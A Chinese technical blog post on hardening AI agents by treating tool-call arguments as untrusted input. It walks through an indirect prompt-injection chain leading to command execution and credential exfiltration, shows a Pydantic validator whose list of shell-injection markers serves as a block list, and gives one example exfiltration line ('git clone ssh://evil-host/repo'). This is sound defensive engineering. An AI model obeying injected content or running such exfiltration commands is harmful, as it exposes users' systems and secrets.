编程 把 Agent 工具出参当用户输入验:模型输出转命令执行前的四道门

2026-09-04 00:05:08

把 Agent 工具出参当用户输入验:模型输出转命令执行前的四道门

问题:Agent 的输出不是“回答”,是控制流

普通聊天机器人里,LLM 输出 token 到 UI 就结束了。Agent 里同样一段输出要被路由到工具调用——模型输出既是文本回答,也是行动指令。它会决定工具名、填充参数、触发 shell 子进程。威胁模型因此变了:不再是“生成了不安全文本”,而是不可信内容可以重定向控制流、滥用工具权限、污染持久化状态、泄漏敏感信息、触发外部危害动作。

一个典型的高危链路长这样:

恶意内容(网页/邮件/文件)→ 进入 LLM 上下文
→ 模型输出包含 tool_call
→ Agent runtime 解析出 JSON 参数
→ 参数未经验证直接拼进 subprocess / API 调用
→ RCE / 数据删除 / 凭据外发

所以决定安全的边界在“模型输出 → 工具参数 → 命令执行”这一段,而不是模型提示词那段。

风险有多大:现有威胁模型统计

对 247 篇论文的威胁模型综述(见文末 arXiv 链接)统计显示:

  • Prompt Injection 出现在 142 篇论文的威胁模型里;
  • Indirect Prompt Injection 出现在 86 篇中,属于“控制流劫持”的标志性问题;
  • Memory Poisoning / Memory Safety 相关论文数量目前是 24/32,趋势向上。原因是 Agent 会持久化 notes/summary/长上下文,污染可以跨会话存活,并在后续规划回合再次出现。

另一个现实风险在供应链:对 ClawHub 技能市场 2857 个 Skill 做审计,发现 341 个恶意 Skill(约 12%)。这个数字佐证一个判断:Agent 生态里默认不可信的输入远不止用户消息和网页内容,连工具本身都可能带毒。

核心原则:工具调用视为不可信输入

开发者常会把 Agent 框架内部当“可信域”,只验用户输入。错了。模型输出到工具参数这一段,等同于一个不受代码约束的“人”在提交请求,每一条都可能被注入内容劫持。建议按 Web 应用处理用户上传参数的同等标准去校验:

  • 工具名称白名单:模型只能选已注册的 tool,不响应动态字符串拼接的函数名;
  • 参数 schema 强校验:类型、取值域、长度、文件路径必须在合法范围;
  • 高危操作显式确认:对删除、写入、执行安装、权限变更、读凭据等,需人工审批;
  • 失败必须 fail closed:校验失败即丢弃本次调用,不执行、不降级。

下面是一个实际可用的校验器片段,使用 Pydantic v2:

from pathlib import Path
from typing import Literal
from pydantic import BaseModel, Field, field_validator

HOME_DIR = Path.home().resolve()
PROJECT_DIR = Path("/srv/app").resolve()
# 仅允许存在的操作入口,不接受子进程参数里拼接命令
ALLOWED_EXECUTABLES = {
    "git", "curl", "sqitch"
}

class FileReadArgs(BaseModel):
    """只读工具:限制读取范围在项目目录内"""
    path: Path = Field(description="文件绝对路径", min_length=1)

    @field_validator("path")
    @classmethod
    def 不许越界(cls, v: Path) -> Path:
        resolved = v.expanduser().resolve()
        if resolved != PROJECT_DIR and PROJECT_DIR not in resolved.parents:
            raise ValueError(f"path 越界: {resolved}")
        if not resolved.is_file():
            raise ValueError(f"目标不是文件: {resolved}")
        return resolved


class ExecSingleArgs(BaseModel):
    """执行单条固定命令;禁止 shell 解释器参与"""
    executable: Literal["git", "curl", "sqitch"] = Field(...)
    args: list[str] = Field(default_factory=list, max_length=16)

    @field_validator("args")
    @classmethod
    def 参数逐项检查(cls, args: list[str]) -> list[str]:
        dangerous_markers = [";", "&&", "||", "`", "$(", "|"]
        for arg in args:
            if len(arg) > 256:
                raise ValueError("单参数过长")
            if any(marker in arg for marker in dangerous_markers):
                raise ValueError(f"参数包含注入特征: {arg}")
        return args

这里有个容易误解的点:白名单 executable 只能守住“用什么程序”,守不住“程序参数里的恶意路径”。比如 git clone ssh://evil-host/repo 如果不限制网络出口,照样能把数据推出去。因此 Exec 层必须配合下面的沙箱与最小权限,而不是单独作为安全边界。

模型与命令执行之间的四条隔离带

参数校验只是第一关。按从外到内的顺序,部署时依次加:

1. 最小权限

Agent 进程不要用 root 或管理员身份跑;容器用户用小 UID;挂载只读根目录,只有显式声明的临时目录可写。若工具需要 SSH 私钥,单独起一个跳板容器并只授权指定目标主机,别让 Agent 直接拿宿主机的 SSH agent socket。任何角色权限模型都要以“本次调用实际需要什么”为定义,而不是“Agent 所有者拥有的权限”。

2. 沙箱与进程隔离

命令执行放到单用途沙箱内:无持久化 shell、无 wait 子进程、默认无网络。

# 建议作为容器 Entrypoint 包装
runuser -u nobody -- \
  timeout --signal=KILL 30 \
  chroot /srv/sandbox-root /bin/tool-runner

加上 --signal=KILL 超时,防止一个失控命令拖死宿主;Runner 丢弃 shell,只接受 argv 数组,避免 system("...")

3. 网络出站白名单

LLM 大模型的 API 可用性是 Agent 运行前提,常见的做法是只放行模型服务域名,其余域名全封。但如果 LLM 输出携带 curl 工具与恶意地址,Agent 会在数秒内发起外联。对这个场景,网关卡在内网出口:

  • 用独立代理容器管理出站流量;
  • 模型可访问的域名表独立于执行工具的域名表;
  • 工具域名有优先级:内部 Git、内部制品库放行,公网地址统一拒绝。

4. 高危操作的人工确认与审计

参数校验解决不了“合法但危险”的操作,比如 kubectl delete namespace 参数校验完全合法。把工具分类成三个级别:

  • L1 无副作用:读文件、获取当前状态,直接执行;
  • L2 有副作用但可回滚:创建分支、发起 PR、写入非关键目录,记录审计后执行;
  • L3 不可逆或高影响:删除、覆盖、凭据读取、对外发送消息、持久化执行,必须经过二次人工确认接口,且带有上下文摘要、影响范围、操作人信息。

审计日志记录什么?不是一句“调用了 git push”就完事。至少记四个维度:

  • 请求源头:调用迭代 ID、工具所属 Agent ID、触发它的用户消息 ID;
  • 依赖上下文快照:本次模型入参的哈希、参考文档版本;
  • 输出参数值:经过 schema 校验前的原始 JSON 和校验后的对象;
  • 执行结果与耗时:exit code、stdout 截断摘要、日志保留时长。

这四点保证可回溯到“是哪个模型上下文触发了那次 shell 调用”,也就是从控制流入口找到证据,而不仅仅查操作。

关于已知 CVE 的提醒

第三方文章里常提到“LiteLLM MCP 代理未校验参数数组导致命令注入”一类案例,CVE 编号(例如 CVE-2025-xxxxx)需要自行到 NVD(https://nvd.nist.gov/)核验后再引用,不要轻信二手列表。

结论

把 Agent 当成“输出会被恶意内容精心构造的系统”,而不是“内容生成器”。工具入参的默认身份是不可信外部输入,模型输出是一个新的攻击面。用参数校验和命令白名单拦截注入,用沙箱和最小权限收窄爆炸半径,用人工审批卡住不可逆动作,用全链路审计保留现场。

这四条门加齐之前,不要给 Agent 配上能上网的 shell 工具;这是工程上最现实的启动底线。

(威胁模型统计数据来自综述 Toward Secure LLM Agents:https://arxiv.org/abs/2210.00913)

复制全文 生成海报 Agent安全 AI Agent 安全

推荐文章

程序员茄子在线接单